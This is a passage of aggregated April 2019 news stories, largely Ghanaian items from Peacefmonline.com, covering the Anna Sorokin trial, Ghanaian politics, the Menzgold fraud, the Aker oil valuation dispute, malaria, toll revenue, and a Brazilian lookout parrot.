charge alone. But jurors found her not guilty of one of the most serious charges: attempted first-degree grand larceny for a $22 million loan she tried to obtain. Sorokin was also acquitted for stealing $60,000 from a friend who paid for a trip to Morocco. Up until this moment, Sorokin had been looking and behaving the part of someone longing to be part of Manhattan's elite upper echelon. If you'll recall, her purported reason for arriving in New York several years ago was to raise money for a members-only arts club on Park Avenue. To do so, Sorokin established herself as part of the city's bustling (and wealthiest) social scenes, and did so by wearing Gucci, Supreme, and Yves Saint Laurent; she moved across downtown boutique hotels without paying her exorbitant guest bills, treating friends to expensive meals, and chartering private planes. When all was said and done, Sorokin had managed to swindle over $200,000 from banks, hotels, restaurants, friends, and private jet operators. Even during court dates, she was said to have hired a formal stylist and wore Michael Kors, Celine, YSL, Victoria Beckham (mixed on occasion with fast-fashion staples from Zara and H&M) before judge and jury. Her courtroom looks were archived through a dedicated Instagram page. Online, the court of public opinion remains divided, with many buying into the Robin Hood narrative ascribed to her crimes. In court, Sorokin's lawyer argued that she always intended to pay the debts she owed, saying although her methods were "unorthodox, possibly unethical," that "this is the life she's chosen to live." Spodek added, "Anna had to kick down the door to get her chance at life. Just like Sinatra had to do it his way, Anna had to do it her way." Sorokin also faces deportation to Germany. Authorities say she overstayed her visa. It has been speculated that Sorokin may serve out her sentence in Germany, once the final verdict is handed down on May 9. As far as Hollywood goes, this epic saga is a gift that keeps on giving: so far, according to Variety, Shonda Rhimes has agreed to produce a Netflix special about the Anna Delvey case as part of her recent multimillion-dollar deal to develop new programming for the streaming giant. As such, Netflix has also reportedly acquired the rights to Sorokin's life story. Details on this are still emerging. Photo via BFA Looks like it's the year of the college scam. On Monday, Blac Chyna announced that she had been accepted into Harvard Business School's online program. However, a new article from TMZ reports that she was never accepted to the school. Earlier this week, Chyna shared an acceptance letter with the outlet that congratulated her on her acceptance into an online course called Business Analytics, which aims to teach students about making business decisions via interpreted data. At the time, Chyna told TMZ that she was in "a stage of realization and growth" and that "School is going to help me take things up a couple of notches." "People are always talking about me, might as well talk about the good," she added. "I'm excited for the next chapter." That said, in a follow-up report, TMZ states that they received a statement from Harvard itself, which read, "Harvard Business School Online has not admitted nor provided an acceptance letter to a person named Angela White" meaning the letter she gave the outlet was a fake. After doing some more digging, TMZ also learned that the ruse was concocted by a PR firm run by Christian Emiliano, who sent her team an email offering "to do all the work and even take a pic of her wearing a Harvard hoodie ... for a price." And that price? A cool $3250. And what for? To add "attended Harvard" to her resume in order to boost her brand. Blac Chyna has been admitted to online business courses at Harvard University. https://t.co/1IKQjr76BM 1063 Chicago (@1063Chicago) April 25, 2019 "Our team will complete all the course work for you, all you have to do is take one test (we will provide you the study guide) and then take credit for the program," the alleged report said. "You can go on the Harvard campus and take a picture with a Harvard hoodie on / you can post updates on your snapchat and Instagram Story." Chyna has yet to comment on the matter. Photo via Getty Iran Seizes 2,900 Pounds of Crystal Methamphetamine Drug 04/26/19 Source: Radio Farda A Ministry of Intelligence official in the province of Sistan & Baluchestan, in southeast Iran, says the largest ever amount of synthetic drug shisheh (crystal Methamphetamine), has been seized in the country. Destroying 300kg of the seized drugs in Arak, Iran ( June 2010 file photo ) "Following a series of complicated operations and collecting information, the department succeeded to seize 1,300 kilograms (approximately 2,900 pounds) of narcotics, including more than 850 kg (about 1,900 pounds) of the addictive synthetic drug, shisheh," the government official news agency, IRNA, cited the unnamed intelligence officer as saying. The drug consignment was seized after the intelligence department forces and border guards clashed with an armed group of smugglers, entering Iranian soil via Afghanistan, IRNA reported. Two of the armed smugglers were killed, several injured or captured along with a significant amount of weapons and ammunition, the official maintained. Based on the United Nations reports, Afghanistan ranks first as the producer of opium and Heroin in the world. Iran, being Afghanistan's neighbor, has always been the main route for smuggling narcotics to the western world. Map of annual seizures 2016-UNODC As recent as April 19, Bulgarian customs officials said they had seized 288 kilograms (635 pounds) of heroin found in an Iranian truck entering Bulgaria from Turkey. However, a significant amount of the drugs produced in Afghanistan is sold and consumed in Iran. Meanwhile, Iranian police have admitted that many of the so-called "industrial narcotics" distributed in Iran are homemade. Back in 380 BCE, Plato gave us the Allegory of the Cave, in which he discusses the effect of education, or lack thereof, on our nature. A better parallel could not be drawn regarding the impulse to burn and ban books than that of Socrates, Platos mentor, who was sentenced to die for tainting the youth with education. In the Allegory of the Cave, Socrates illustrates the benefits of an illuminated mind through the parallel of a cave. In the cave there are men, bound with their eyes fixed upon the dark side of the wall. All they see are shadows cast from objects passed in front of a fire that is behind them. Through education, the men are freed from the prison of the cage, and able to see real objects for themselves. This sentiment pertains to todays discussion: the banning of books is a symptom of a greater problem. It has been a recurring theme throughout our countrys history. Within the realm of public education, books are constantly sought to be banned because the content within them is deemed to be offensive or not fit for children. In a free society, where the precepts and history are rooted in academic enlightenment and the humanity embraced in the Renaissance, thinking that a book could be evil is a more subversive and destructive thought than any idea experimented with in paper and ink. On a fundamental level, anyone who sees bettering ones self through education and enlightenment as a bad thing is up to something sheisty. The knee-jerk reactions of reactive, traditional people can be dressed up in many ways: In ancient Greece, they were poisoning the youth. In Nazi Germany, they were called a threat to the party, leftists or Jewish. In the USSR, it was anything that was a perceived threat to the will of the party. In the US, theyve been called communists, un-christian, or if nothing else, unacceptable because its downright OBSCENE! Oh, obscenity just when I was beginning to think I had digressed, the parallel of Socrates becomes immediately relevant. One can dress a turd up in many ways; but it is still a turd (if not a literal one, in this instance it is meant to be a shitty and lousy argument.) Obscenity is and has been a catch-all phrase for the fuddy-duddies of our modern life to describe anything and everything that isnt in line with the status quo. Because, you know, the status quo is definitely not obscene. But nonetheless, this catch-all still gets pulled out quite frequently. Books that involve subject matter that isnt in line with the status quo are challenged or banned. To challenge, according to the American Library Association, is when a documented request is made to remove a piece of literature from a school library. To ban it is when the request is approved. When people try to ban books from school libraries, it represents concerted effort on their part to prevent children from reading about and learning about characters, lifestyles, concepts and ideas that are not in line with the parents ideals. This is in contradiction of academic freedom, and not in the students or a democratic societys best interest. A silver lining to all of this is the fact that many books now considered hallmarks of American literature To Kill a Mockingbird and Catcher in the Rye, for example were previously challenged and banned books that now have their place solidly in most high school English classes. People might scream and stomp their feet, but society is (slowly) moving forward. So thanks, Socrates! COLOMBO, April 25 (Xinhua) -- The Chinese Embassy in Colombo on Thursday confirmed the death of a missing Chinese national after multiple bombings in Sri Lanka, which added the number of Chinese killed in the attacks to two with four others feared dead. The embassy said that it had cooperated with the Sri Lankan side and the family members to identify the Chinese victim. Chinese Ambassador Cheng Xueyuan told a press conference on Wednesday that one Chinese national was confirmed dead, four others, declared missing earlier, were feared dead pending further confirmation from their families and one was still missing. The ambassador also said five Chinese nationals were injured during the attacks, four of whom already went back to China and the remaining one was still hospitalized in Sri Lanka. A string of suicide bombings on Sunday have killed at least 359 people and injured over 500 in the island country. The Sri Lankan police have taken more than 70 suspects in custody. The Microfinance and Small Loans Centres (MASLOC) attention has been drawn to a comment made by the former President, John Dramani Mahama, during his tour of some bus terminals in Accra on Thursday, April 18, 2019. In the comment, the former President called on MASLOC to release to the Ghana Private Road Transport Union (GPRTU) vehicles that were purchased in 2016. MASLOC views the call by the former President as very unfortunate, misleading and a calculated attempt to dodge the fact that his administration provided a conducive environment for the perpetration of gross administrative anomalies. We state the following in clarification of the facts surrounding the procurement for the said vehicles: The Public Procurement Act (PPA) was utterly disregarded and not duly followed during the procurement process The vehicles were taken delivery of and commissioned by the former President on the 1st of December 2016 whereas the contract for procurement and supply of the vehicles was executed on the 6th of December, 2016. It is also worth noting that the vehicles he referred to are the ones the Finance Minister under his Government, Hon. Seth E. Terkper, authorized the controller and Accountant General to release an amount of GHs37,000,000.00 on the 5th of December 2016 to enable His then CEO of MASLOC to pay for a supplier who hadnt signed a contract with the centre. The GPRTU has refused to take delivery of the vehicles solely because of the price. The vehicles have been rendered commercially unattractive due to the erroneous procurement procedure adopted for their purchase. At present, the open market prices for the vehicles are cheaper than the prices at which MASLOC is able to offer them at. The absurd procurement process reiterated above have resulted in a loss to the state of approximately GHS23,396,074.48, being the total over-invoicing and deferred tax. MASLOC would like to point out further the total unjustifiability of the procurement of the vehicles that have been referred to by the former President: These are but a sliver of the unlawful activities that took place at MASLOC under the former Presidents watch with his permission as President that have contributed in stifling MASLOC from executing its mandate. The opportunity is make it clear to him that if he wants to play his politics with important national issues such as this, he should get all his facts right in order to enable him to assess the worthiness for consumption by the people of Ghana. The new Leadership under the current Government has been able to negotiate with the supplier from whom the Mahama lead administration bought these vehicles from to reduce their initial price in order to render the vehicles more affordable for the GPRTU and other interested hardworking Ghanaians. Furthermore, the President, Nana Addo Dankwa Akufo Addo, has taken pragmatic steps needed to resolve this issue by restructuring the facility in order to make it more affordable for the intended target. It is in this regard that the CEO of MASLOC, Stephen Amoah, has made it clear that the vehicles will be offered back to GPRTU for to exercise their option to purchase before the general public is given the opportunity. It is our expectation that having provided the former President with the actual facts concerning the mismanagement of the public funds in the procurement of the vehicles, he will see it necessary to take a second look and do what is noble and retract his unfortunate comment. We are an institution that is supposed to help reduce poverty and not to increase the burden on our citizens. MASLOC as an institution has rules governing it and should not be used to act on impulse or without due- diligence for the benefit of a few unscrupulous persons. We call on the former president to stop the propaganda while we remain focused in fulfilling our key mission of providing micro and small loans for start-ups and small businesses with fast, easy and accessible microcredit and small loans to grow and expand their businesses as well as to enhance job and wealth creation. MASLOC under President Akufo Addo has seen a major facelift in just two years in stark contrast to the debt-wrapped institution inherited from the Mahama Administration. In the next few weeks, MASLOC has a Micro Finance Institution (MFI) will give a full statement on what we, as an institution, have done so far, and giving updates on all the parameters that are used to measure our progress: Structure, Funds Mobilisation, Disbursements, Recovery, Excess Liquidity Management and Leveraging on Integrated ICT. Signed Fred Ohene Offei-Addo Public Relations Manager 0244188404 Source: Peacefmonline.com/Ghana/Ghana Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video E ON 3 Group can confirm that as at Thursday, April 25, 2019, a total of 31 Embassies, operating in Ghana, had officially responded positively to participate in the World-Meets-In-Ghana Investors Forum and Executive Dinner Ball. However, the number of participants for the big event is expected to increase significantly in the coming days as new confirmations are being received on daily basis by the E ON 3 Group, organizers of the event. In addition, some prominent development partners of Ghana, including the Japanese International Cooperation Agency (JICA), the European Union Delegation to Ghana and GIZ have also formally indicated their readiness to participate in the event. The E ON 3 Group is a Ghanaian-based business solution provision company. Otumfuos Link The historic programme is being organized as part of activities commemorating the 20th anniversary celebration of the enstoolment of His Royal Majesty, Otumfuo Osei Tutu II, King of the Ashanti Kingdom of Ghana. The Executive Dinner Ball and the Investors Forum will take place on 3rd and 4th May, 2019, respectively. The event has been divided into two parts. The Executive Dinner Ball will take place on 3rd May, 2019 at the Manhyia Palace at 7:00 pm. The Investment Forum will also take place on 4th May at the Golden Tulip Hotel, Kumasi, at 9:00 am. Several high-profile government officials as well as top business entities, both local and international, have also registered their readiness to be part of the event. Investors Forum Significantly, the programme seeks to create awareness about the numerous business potentials in Ghana and also showcase Ghana to the world as the most attractive investment destination in Africa. It is also geared towards creating a common platform for top-notch businessmen and women from all over the world to establish networking opportunities and also engage in a healthy dialogue, with regards to business growth and wealth creation. Kumasi Metropolitan Authority and Ashanti Regional Coordinating Council Support Having realized the huge benefits that the country stands to derive from the event, the Kumasi Metropolitan Assembly (KMA), the Ashanti Regional Coordinating Council (RCC) and Kumasi - being the host city - have also declared their unflinching support for the success of the event. Presentation of National Flags The various embassies would be represented at the event by their envoys, who would present their National Flags to Otumfuo Osei Tutu II as a sign of solidarity, whilst he marks 20 years on the sacred Golden Stool of the Asante Kingdom. Collaboration E ON 3 Group, the Manhyia Palace (seat of the Asantehene), Ministry of Business Development, Ministry of Aviation, State Enterprises Commission (SEC), Ghana National Petroleum Corporation (GNPC), National Lottery Authority (NLA), Ghana Investment Promotion Centre, Minerals Commission, Ghana Gas, Ghana Free Zones Authority, Association of Ghana Industries, Ghana Chamber of Commerce and Industry, the UAE-Africa Mentoring Development Consortium (UAMDC) and some key media partners are collaborating to bring the big-time investors to Ghana. Programme Theme World-Meets-In-Ghana Investors Forum and Executive Dinner Ball is being organized under the theme, Ghana, a Promising Investment Destination in Africa. E ON 3 Group, the main organizers of the event, are determined to use Otumfuos 20th anniversary celebration to create a platform to share Ghanas tremendous investment opportunities with investors. Executive Dinner Ball The Executive Dinner Ball is expected to attract about 750 participants, most of who are accomplished investors, top public officials and high-profile personalities from all over the globe. The occasion will be graced by high dignitaries, including President Nana Addo Dankwa Akufo-Addo; former President J.A. Kufuor; Ministers of State; high-profile public sector officials; members of the Diplomatic Corps and industrialists from Ghana and abroad. The Executive Dinner Ball is basically meant to honour and celebrate Otumfuo Osei Tutu II for his numerous accomplishments during his successful reign as Asante King for the past 20 years. Notably, H.E. Professor Dr. Ambassador Tal Edgars, a global multi-award winning, well known business mogul, mentor, erudite speaker, senior diplomat and advisor to many heads of state and presidents of Fortune 500 firms, is expected to be the Keynote Speaker at the Executive Dinner Ball. The programme would also create a platform for the government to present its vision of attracting investments into the country in order to transform the economy. The event is STRICTLY BY INVITATION. Organizations and individuals who have contributed significantly to the cultural and socio-economic development of the country shall be honoured during the Executive Dinner Ball, especially those impacting lives. The Investors Forum H.E. Professor Dr. Ambassador Tal Edgars, who is also the Group Executive Chairman, GBSH Consult Worldwide, a multi-award winning strategic foresight and management consulting firm, would be the main speaker for the Investors forum. Professor Napoleon Moses, Chairman of Access Global, Inc. and Vice President for Academic Affairs, Alcorn State University in the United States, is also expected to speak at the Forum. In addition to his consultancy, Professor Moses served as a tenured faculty member and Dean of Applied Sciences, Provost, Vice Chancellor and Chief Operating Officer for universities in Louisiana, Mississippi, and Chicago, IL. His consulting also includes advocating for the concerns and interests of a select group of clients before Members of the U.S. Congress. The Ashanti Regional Minister will make a presentation on investment opportunities in the region; and the Minister for Finance will deliver an address on the topic, Providing the Good Economic Governance and Macro-economic Framework to Underpin the Take-off of the Ghanaian Economy. President Akufo-Addo will cap it up with a brief address on the topic, Providing an Enabling Environment for Private Investment to Thrive: A Case of Ghana. Source: Peacefmonline.com Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Interpol has claimed that Chief Executive Officer (CEO) of embattled gold collectibles firm, Menzgold Ghana Limited, Nana Appiah Mensah aka NAM1, allegedly defrauded customers of the company in excess of GH5.4 billion. A document purportedly prepared by Interpol for the Dubai Police titled, Interpol Red Alert, which is being used to hold NAM1, claimed NAM1 has been charged with defrauding by false pretenses and money laundering. However, there are discrepancies in the figure put out by Interpol since the GH5.4 billion quoted by Interpol does not appear to be an equivalent of $1.2 million, which is also listed by the international policing body. Per the red alert, Interpol is asserting that NAM1 allegedly violated Section 131 of Act 29/60 and Section 1 of Anti-money Act as amended (Act 874). The arrest warrant, according to the alert, was issued on January 10, 2019 by a circuit court in Ghana and the maximum penalty possible, if NAM1 is convicted, would be 25 years. In its summary of the facts of the case, Interpol indicated that in December 2013, suspect Nana Appiah Mensah incorporated two companies namely Menzgold Ghana Limited and Brew Marketing Consult Limited, adding that his wife Rose Tetteh and sister Benedicta Appiah are directors of the companies. The alert stated: Suspect Nana Appiah Mensah, under false pretext, received money in excess of GH5.4 billion ($1.2 million) from the public but laundered same into the acquisition of real estate, high-value vehicles and a private jet; he has since left the jurisdiction, and is believed to be hiding in Nigeria, South Africa or elsewhere. NAM1s Freedom NAM1 was reportedly set free by a court in Dubai, United Arab Emirates (UAE) recently after winning a case of fraud brought against him by Horizon Royal Diamonds in a purported $51 million gold deal. NAM1 was made to post a bail bond of $3.5 million, and he is said to be pursuing the company that caused his arrest over the $31 million. According to reports, he was arrested in Dubai where he travelled to retrieve his money from the company. Settling Clients A source close to NAM1 indicated: He is making frantic efforts to track down companies and individuals who owe him in order to get more cash to pay Menzgold Ghana Limited customers whose investments have been locked up following the closure of the business. DAILY GUIDE reported that the Dubai prosecutors realized that a prima facie case might not be established against NAM1 in a $51 million gold deal, and as a result the court started to relax the restrictions placed on him. List of Customers DAILY GUIDEs investigations in February revealed that there were a total of 4,998 customers of Menzgold and not the estimated 46,000 as published earlier in the media. Source: Daily Guide Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video The leaders of Nigerian communities in Ghana have pledged to partner the Ghana Police fight against their compatriots who engage in criminal activities in the country. Head of business and project advisor of the Nigerian communities in Ghana, Oloye Yemi Fatuyi, said they would ensure that the Nigerians behind some of the kidnapping and robbery activities are fished out and punished per the laws of Ghana. He made this known when leaders of Nigerian communities in Ghana called on the Accra Regional Police Commander at the Regional Headquarters in Accra. He noted that in any criminal activities reported, there is a Nigerian involved and the phenomenon had been a source of worry to the others who are in the country doing genuine businesses. We are not professional but we will make sure that we feed the police with information that will lead to the arrest of our compatriots who are into criminal activities, he stressed. He said it was embarrassing to hear the names of Nigerians in reported robbery and kidnapping cases. Citing an example, he indicated that a Nigerian was arrested and linked to the Takoradi Kidnapping cases that occurred in Takoradi and Accra recently. Adding his voice, Emmanuel Chibueze, welfare officer of all Nigerian communities in Ghana, said Nigerians are in Ghana to do business in an atmosphere of peace and freedom devoid of intimidation and if they do not come out to condemn the bad practices of some of their compatriots, they would all be classified as bad people. We will renounce the miscreants amongst us and will not allow them to have their own way, he promised. The acting Accra Regional Police Commander, DCOP Kweku Boadu Peprah, welcomed the move from the discerning Nigerians. DCOP Peprah assured the group that efforts aimed at tracking down those Nigerians behind the kidnapping of the Lebanese were underway. We do not know the means by which some of your compatriots come to Ghana since most of them when arrested do not have valid travelling documents, and we shall partner other stakeholders to make sure that we control their movements in the country, he pointed out. Source: Daily Guide Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video GOVERNMENT HAS dismissed policy think tank, IMANIs claim that Ghana is going to lose a whopping amount of $30 billion if the state fails to renegotiate the petroleum agreement with Norwegian energy giant, Aker Energy. It would be recalled that on Thursday, April 25, 2019, IMANI held a press conference in Accra, announcing that Ghana risks losing US$30 billion in the recent oil find by Aker Energy Ghana Limited. IMANI Africa indicated that Aker discovered the oil after its exploration licence had expired in 2014 and failed to go through the right processes, thereby making their exploration activities illegal. It expressed the belief that the Pecan X and Pecan Y in the Deepwater Tano Cape Three Points block (DWT/CTP) are essentially not covered by any of the Petroleum Agreements (PA) in force, hence those additional finds require a new Petroleum Agreement to be negotiated under the Petroleum (Exploration and Production) Act, 2016 Act 919. But Energy Minister, John Peter Amewu told journalists at the Information Ministry on Friday that IMANIs statment was a fabricated falsehood. According to Mr. Amewu, IMANI tried to alarm Ghanaians about a potential loss of $30 billion to the country if the government failed to negotiate a new petroleum agreement with new terms with the DWT/CTP partners. This is absolutely false. Mr. Amewu indicated that Aker Energy, on behalf of its partners announced after a successful appraisal of the Pecan Field discovery, a significant oil find as captured below Based on existing subsurface data from seismic, wells drilled and an analysis of the Pecan -4A well result, the existing discoveries are estimated to contain gross contingent resources (2C) of 450 550 million barrels of oil equivalent. How did IMANI arrive at valuation of the field at $30 billion? In questioning the valuation of the field at $30 billion, Mr. Amewu explained that IMANI simply multiplied the assumed price of $65 per barrel by 450 million barrels. The Minister said this exposes the weaknesses in IMANIs analyses as well as its poor understanding of petroleum economics. He noted that the 450 million barrels of oil equivalent are gross contingent resources, which are the potential resource available all of which cannot be recovered under current technology. IMANI wants us to believe that all the 450million barrels of oil equivalent will be produced but fails to explain how that can be. He added that In Ghana, our average crude oil recovery rate is 25%. At this rate, the field value will be estimated at $7.3 billion assuming a price of $65 per barrel. Mr. Amewu explained that we are working with Aker Energy to enhance oil recovery mechanism to achieve a recovery rate of 40%, which will be the highest in Ghanas oil and gas history and which occurrence will appreciate the value to $11.7 billion. He says this will be a significant gain for both Ghana and the partners. He announced that there was no basis for a new petroleum agreement as IMANI claimed because the work that was done by Aker Energy formed part of an appraisal programme based on the existing petroleum agreement. He added that it must be stated that as a country we operate within the laws governing petroleum agreements, therefore any petroleum find when produced will be shared according to the terms of the applicable petroleum agreement. Meanwhile, he categorically denied IMANIs allegations that Fuel Trade is owned by the Chief Executive of the Ghana National Petroleum Authority Dr. K.K. Sarpong and his family. Source: Daily Guide Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Government has said it cannot establish the status of the former Secretary to the Inter-Ministerial Committee on illegal mining, Charles Bissue while investigations into his conduct are ongoing. Charles Bissue voluntarily resigned as the Secretary of the Committee after he was allegedly caught on tape collecting a bribe to facilitate the issuance of a mining license in Anas Aremeyaw Anas expose on illegal mining. Updating the public on Mr. Bissues fate at the meet the press series in Accra on Thursday, the Lands and Natural Resources Minister, Kwaku Asomah Cheremeh said the government will take a decision after investigations are concluded. Charles Bissue resigned voluntarily based on the allegations against him and the matter is under investigation. Till such time such an investigation comes to an end, it may be premature to ascribe as to what we are to do about Charles Bissue. Responding to calls for the dissolution of the inter-ministerial committee on illegal mining, Mr. Asomah Cheremeh said the committee was set up to help state institutions which regulate the mining sector. The inter-ministerial committee on illegal mining did not come in a vacuum. It came as a result of the ill that people were perpetrating on the ground, destroying our water bodies, causing environmental degradation, devastation to the soil, using mercury here and there, causing diseases to most of us and the government thought it prudent to have another body under the Ministry of Lands and Natural Resources to assist in our vetting of all such bad circumstances. In the video, Mr. Bissue was captured accepting money ostensibly to facilitate clearance for a mining company without going through due process. He is heard instructing his subordinates to fast-track the processing of the companys documents. Several others connected to the work of the committee, otherwise known as the Presidential Committee on Environment and Natural Resources, are seen in the video playing facilitating roles at negotiated fees. Bissue is currently helping the police to investigate the case. Despite Mr. Bissues denial of any wrongdoing, Anas Aremeyaw Anas insists that he [Bissue] abused his office. Anas has further petitioned the Special Prosecutor, Martin Amidu to investigate the issue. The Minister of Information, Kojo Oppong Nkrumah, told journalists that thorough investigation will be conducted and no one found will be shielded. Government has taken notice of a documentary by Tiger Eye PI suggesting that it has uncovered acts that undermine the fight against illegal small-scale mining. The government will have the said tapes properly investigated using the raw unedited footage and if any person is found to have solicited money or taken a bribe to bend rules, the necessary actions will be taken, Oppong Nkrumah said. Source: The Publisher Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video The Presiding Archbishop and General Overseer of the Action Chapel International Ministry, Archbishop Duncan-Williams will this year lead the Josiah Leadership Movement (J-Force) town hall meeting at Ashesi University. The Town hall meeting dubbed the influence, seeks to engage with the decision makers in this country about how the youth of this great country can contribute their quota to the development of our country and give the youth a platform to engage with national leaders on issues of ethical leadership. The meeting which is expected to feature other political thinktank leaders as well prominent politicians from the two major political parties in Ghana, the New Patriotic Party (NPP) and the National Democratic Congress (NDC) will come off at the at Ashesi University on 3rd May 2019. Panel speakers include Hon. Dr. Zanetor Rawlings and Minister for Works and Housing, Hon. Samuel Atta Akyea. "The goal of the J-Force Organization is to change the world today and not tomorrow and to bring up leaders with moral and ethical transformational leadership skills." Background The Josiah Leadership Movement (J-Force) is a non-profit and multi-faceted leadership organization run entirely by young people. It was founded in the state of Georgia in the United States of America by Eric Kwapong an enterprising young Ghanaian. J-FORCE has a strong, clear vision and a drive to transform the Ghanaian and African community for the better. The goal of the J-Force Organization is to change the world today and not tomorrow and to bring up leaders with moral and ethical transformational leadership skills. Since the inception of J-FORCE in Ghana, the organization has made a strategic decision to split its activities into events that span six phases, culminating in a massive event dubbed We Are the Change. In Phase 1, dubbed Project Feed Agbobloshie, the goal was to raise social awareness.Project Feed Agbobloshie, held on the 18th of December 2018, was a service summit where delegates from multiple high schools and universities packed 500 meals - many of which were served to homeless children. In Phase 2, J-FORCE toured high schools and universities to engage with young people on issues of leadership and to introduce the vision and plan of the Josiah Leadership Movement. Phase 3 was dubbed the Inspire Conference. The Inspire Conference wasthemed The Coming African Renaissance and was hosted at the Accra International Conference Centre. The conference featured speakers from the spheres of faith, technology, music, entrepreneurship, citizenship, and culture. For many of the young students who attended this event, they were filled with a wealth of knowledge and inspired to work for positive social change. The INFLUENCE Townhall is next in our strategic line-up of events. The next phase of J-FORCEs six-phase-plan is a Town Hall Meeting which will feature political thinktank leaders as well prominent politicians from the two major political parties in Ghana: The New Patriotic Party (NPP) and the National Democratic Congress (NDC). The reasoning behind the holding of this event is to engage with the decision makers in this country about ways the youth of this great country can contribute their quota to the development of our country and give the youth a platform to engage with national leaders on issues of ethical leadership. The INFLUENCE Town Hall Meeting is also geared towards bolstering the involvement of youth in Ghanaian Politics. The Town Hall will be hosted on the Ashesi University campus on 3rd May 2019 at 4:30 pm. The J-FORCE Organization is also proud to announce Archbishop Nicholas Duncan-Williams as the keynote speaker for the Town Hall Meeting. Some of our panel speakers include Hon. Dr. Zanetor Rawlings and Hon. Samuel Atta Akyea. The INFLUENCE Town Hall promises to be an amazing event, and J-FORCE envisions it to be only the first of many such events in Ghana to increase dialogue between citizens and national leaders. All are cordially invited Source: Isaac Kwame Owusu/Peacefmonline.com/[email protected] Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video First Lady Mrs Rebecca Akufo-Addo is requesting the engagement of all members of society including political leaders, the private sector, community leaders and community members to enable the country achieve its overall goal of zero malaria. In July 2018, at the African Union Summit, President Nana Akufo-Addo pledged his commitment to champion innovation, to reduce the malaria burden. Speaking at an event to mark World Malaria Day on Thursday, 25 April 2019, Mrs Akufo-Addo said Ghana has scaled up existing interventions and is on track to pilot the malaria vaccine. According to her, after the president had pledged his commitment to reduce the burden of malaria on Ghanaians, the country has met the target for reduction of the mortality indicator. Our health facility records show that one person died every day in 2018 as compared to eight in 2012. We know that these successes are a result of the investments made by all of us: donors, partners, community, health workers and the government, Mrs Akufo-Addo stated. Despite the results, Mrs Akufo-Addo said people still die from malaria and malaria continues to be the number one cause of outpatient attendance in health facilities. She added that she was saddened to see Ghana listed among the 10 African countries with a high burden of malaria in the world and urged all Ghanaians to play their part in ensure malaria is eradicated from the country. The theme for this years World Malaria Day is: Zero malaria starts with me. Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Ghana Highway Authority is ready to cede the management of some toll booths in the country to private companies. The Authority believes this will maximise the generation of revenue to bolster the financing of road infrastructure. Weve identified a lot of leakages in the collection of tolls which is affecting the revenue expected to be generated from the toll booths, the Chief Executive of Ghana Highway Authority, Ernest Kingsley Arthur, said to Citi News. We are looking at management of the toll plazas. We are thinking of engaging the private sector. Within the next one month, we shall be entering into that contract with that private operator. The terms and conditions of the contract will ensure that we will derive maximum revenue from the toll stations. The Minister of Roads and Highways, Mr. Amoako Atta has decried the shortfalls in revenue collection with the sector saying we are not getting the expected revenue out of the toll booth. According to him, after a survey, his Ministry noted that the country was losing between 40 percent of revenue and 80 percent of revenue from our toll booths. Efforts have been made to automate all toll booths in the country in a bid to improve revenue generation, but only four out of the 35 toll booths had been automated. The four are the Ngleshie Amanfrom, Accra Plaza, Tema Plaza and the Amasaman booths. The automation is envisioned to increase the toll booth contribution to the road fund. As at now, the highest contributor to the road fund is the fuel levy. The Ghana Highway Authority (GHA) raked in GHc1.8 million in 2018 from the toll booths constructed on highways across the country. This was a 4.3 percent increase from the GHc1.79 million figure in 2017. Source: citinewsroom.com Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video A parrot has been taken into custody by the police after he almost jeopardized a police raid by tipping off drug dealers to the presence of police. The parrot, who plays lookout for two crack-dealing suspects, repeatedly yelled "Mamae, policia!" meaning "Mama, police!" when it saw police officers moving to raid the hideout. According to Brazilian police in the state of Piaui, they encountered the unnamed parrot at the home of the two alleged crack cocaine dealers, perched inside a small brick one-story home with a windowless facade. Brazils R7 news channel reported that as police searched for the suspects, it seemed the lime-green bird knew exactly what to do. One officer involved in the operation said: "He must have been trained for this. As soon as the police got close he started shouting." The birds efforts were not successful, however. Footage of the raids aftermath aired by R7 shows police cataloguing small bags of crack while the parrot sits obediently on a countertop next to a racecar helmet and a glass bottle. His apparent owners, a man and teenage girl, were arrested, local newspaper Meio Norte reported. The "trafficking parrot" (papagaio do trafico, as news outlets are calling him) was also seen as an officer carried him out of the house on his fingertip, before placing him in a cage and taking him into the Teresina Police Department. Web users called for the release of the bird and an environmentalist named Jaqueline Lustosa told Meio Norte that she had gone to the police department in attempt to free the bird. As of Wednesday, GloboNews, reported that the parrot has been taken to a local zoo, where zookeepers would train it on how to fly. Source: Washington Post Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video The Belt and Road Initiative promotes a substantial increase in the total value of Anhui Tonglings foreign trade. Enterprises in Tongling accelerated their pace of international market expansion, especially for the South American market. (Photo by Guo Shining from Peoples Daily Online) It is already six years since Chinese President Xi Jinping announced the Belt and Road Initiative, also known as the BRI. Up to now, many countries in the world have 